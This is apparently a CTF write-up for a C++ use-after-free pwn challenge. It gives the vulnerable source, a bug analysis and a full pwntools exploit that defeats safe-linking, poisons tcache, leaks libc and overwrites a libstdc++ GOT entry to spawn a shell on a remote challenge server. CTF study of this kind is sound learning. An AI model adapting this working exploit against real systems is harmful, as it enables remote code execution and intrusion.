đź“‘ Prologue
It’s a challenge I didn’t solve in the game. Actually I solved it, but I didn’t noticed that we don’t need ROP in user mode since system("/bin/sh")
. I did too much kernel stuff recently and I was diving hard to get ROP for this chal in the game. I solved it after the game.
🎮 Challenge
- CPP UAF challege
🏔️ Analysis
The bug is hard to find since there is a huge block between the FREE and USE.
- The chunk was erased but
it->first
was still used - Allocation was triggered after free in
std::cin >> message;
so we can get the freed chunk back and set the context in it. - Primitives:
- A heap leak -> Leak Safelinking
- UAF Write -> Put
tcache_entry
in free list and get it later
void remove(std::map<std::string, std::string> &friends_list,
std::map<std::string, std::string> &black_list) {
std::string yon;
std::string name;
std::string message;
std::cout << "Name: ";
std::cin >> name;
for (auto it = friends_list.begin(); it != friends_list.end();) {
auto next = std::next(it);
if (it->first == name) {
if (it->first != "FL*Support*Center@fl.support.center") {
friends_list.erase(it);
if (auto it = black_list.find(name); it != black_list.end()) {
std::cout << "Already blacklisted" << std::endl;
std::cout << "Report: ";
std::cin >> message;
if (message.size() >= 0x100) {
std::cout << "Too long" << std::endl;
// a missing brak or return, which enables us keep the item in the black list without message
} else {
black_list[name] = message;
}
} else {
black_list[name] = "";
}
}
if (it->first == "FL*Support*Center@fl.support.center") { // UAF
support_contact++;
if (contact > MAX_SUPPORT_CONTACT) {
std::cout << "Too many contacts" << std::endl;
return;
}
std::cout << "Thank you for contacting FL*Support*Center." << std::endl;
std::cout << "Is there anything that didn't meet your expectations?"
<< std::endl;
std::cout << "Please let us know." << std::endl;
if (it->second != "") {
std::cout << "Do you want to delete the sent message: " << it->second
<< "(yes or no)" << std::endl;
std::cout << "> ";
std::cin >> yon;
if (yon != "yes") {
break;
}
}
std::cout << "Message: " << std::endl;
std::cin >> message;
if (message.size() >= 0x100) {
std::cout << "Too long" << std::endl;
} else {
it->second = message;
}
}
}
it = next;
}
return;
}
🗡️ Exploitation
- Prepare some small bins for later use of leaking libc
- Leak Heap & control tcache_entry
- Control the challenge structure on the heap (by editing tcache_entry) to do AAR -> Leak the libc pointers in small bins
- Control the got for libstdc++. (fine some good ones tha we have RIP+RDI)
from pwn import *
# context.log_level='debug'
context.arch='amd64'
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def XxX(leaked,page_off, orecal):
if(page_off<0):
neg=1
page_off=-page_off
else:
neg=-1
x1 = (page_off >> 24)
x2 = ((page_off >> 12) & 0xfff)
x3 = (page_off & 0xfff)
A = leaked >> 36
D = orecal
G = (leaked & 0xfff) ^ D
if(x3>G):
JW1 = 1
else:
JW1 = 0
C = G + 0x1000 * JW1 + x3*neg
F = ((leaked>>12)&0xfff) ^ C
if( x2 > F-JW1 ):
JW2 = 1
else:
JW2 = 0
B = F-JW1 + 0x1000 * JW2 + x2*neg
# print(hex(leaked),hex(page_off),hex(JW2),hex(F))
res = (A<<36) | (B <<24) | (C<<12) | D
return res
# p=process('./fl_support_center')
p = remote("34.146.186.1",49867)
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def pack_tcache(i,v,pl):
bitmap = [0]*0x80
for x in range(len(i)):
bitmap[i[x]*2] = v[x]
return bytes(bitmap)+flat(pl)
def cmd(c):
sla(b"> ",str(c).encode())
def add(name=b'n132'):
cmd(1)
sla(b": ",name)
def show():
cmd(3)
def free(name=b'n132',c=b'A'*0x17):
cmd(4)
sla(b": ",name)
pp = ru(b'\n')
if b"T" == pp[0]:
ru(b'\n')
ru(b'\n')
ru(b'\n')
if b"yes or no" in ru(b'\n'):
sl(b"yes")
sla(b'\n',c)
else:
sl(c)
elif b"lready blac" in pp:
sla(b"Report: ",c)
def edit(name=b'n132',c=b'A'*0x17):
cmd(2)
sla(b": ",name)
sla(b": ",c)
if b"D" == p.read(1):
sla(b"\n> ",'yes')
# Unsorted
for x in range(0x8):
add(str(x).encode()*0x80)
free(str(x).encode()*0x80)
add(str(x).encode()*0x80)
for x in range(8):
free(str(x).encode()*0x80,b"A"*0x101)
# Start
add(b"X"*0x4000)
add(b"\x88"*0xf0+p64(0xdeadbeefdeadbeef)[:7])
name = b'FL*Support*Center@fl.support.centeX'
add(name)
free(name)
add(name)
edit(name,b"x"*0xf7)
free(b"1"*0xf0)
free(name,b"FL*Support*Center@fl.support.center")
ru(b"age: ")
sfl = XxX(u64(p.read(8)),-1,0x40)
warn(hex(sfl))
heap = sfl - (0x555555575040-0x555555560000)
sfl = (sfl>>12)-1
sla(b"> ",b'yes')
off = 0
sla(b": \n",p64(sfl^(heap+0x10+off)))
pl = [0]*0x40
pl[12] = 0x555555574680 - 0x555555560000 +heap
pl[11] = heap+0x10
add(pack_tcache([11,12],[1,1],pl)[:0xf0])
warn(hex(heap))
payload = flat([0,0x00005555555722e0- 0x555555560000 +heap,0,0,0x555555574890+8- 0x555555560000 +heap,0x8,0x8,0,0,0,0]).ljust(0x100,b'\0')
add(payload[:0xd0])
cmd(3)
ru(b'Name: FL')
ru(b'Name: ')
libc = u64(p.read(8)) - (0x7ffff7a03b70-0x7ffff7800000)
libcpp = libc+0x400000
warn(hex(libc))
warn(hex(libcpp))
target = libcpp + 0xa248 # getc got
pl = [0]*0x40
pl[4] = (0x7ffff7e77c10-0x7ffff7800000+libc)>>4<<4
warn(hex(pl[4]))
add(pack_tcache([4],[1],pl)[:0xc0])
# gdb.attach(p,'')
cmd(1)
ru(b'Name: ')
p.sendline(b"/bin/sh\0"+flat([0x7ffff7858740-0x7ffff7800000+libc]*8).ljust(0x40,b'\x22'))
p.interactive()
🚀 Learned
- libstdc++ is partial RELRO!
- Leak libc == Leak libstdc++
- The heap management of
string
/map
/cin
in c++.